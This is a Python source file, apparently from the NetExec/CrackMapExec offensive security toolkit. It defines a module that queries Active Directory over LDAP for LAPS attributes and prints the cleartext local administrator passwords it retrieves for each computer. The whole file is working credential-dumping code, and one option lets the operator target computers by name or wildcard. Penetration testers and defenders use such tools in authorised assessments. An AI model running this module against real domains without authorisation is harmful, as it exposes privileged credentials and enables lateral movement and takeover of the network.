Files
Pennyw0rth-NetExec/cme/modules/laps.py
T
2023-05-08 14:39:36 -04:00

70 lines
2.8 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class CMEModule:
"""
Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
Initial module:
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
Credit: @mpgn_x64, @n00py1
"""
name = "laps"
description = "Retrieves the LAPS passwords"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
"""
self.computer = None
if "COMPUTER" in module_options:
self.computer = module_options["COMPUTER"]
def on_login(self, context, connection):
context.log.display("Getting LAPS Passwords")
if self.computer is not None:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
else:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
"ms-MCS-AdmPwd",
"sAMAccountName",
]
results = connection.search(searchFilter, attributes, 0)
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
laps_computers = []
for computer in results:
msMCSAdmPwd = ""
sAMAccountName = ""
values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...")
return
elif "mslaps-password" in values:
r = json.loads(values["mslaps-password"])
laps_computers.append((values["samaccountname"], r["n"], r["p"]))
elif "ms-mcs-admpwd" in values:
laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"]))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password")
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")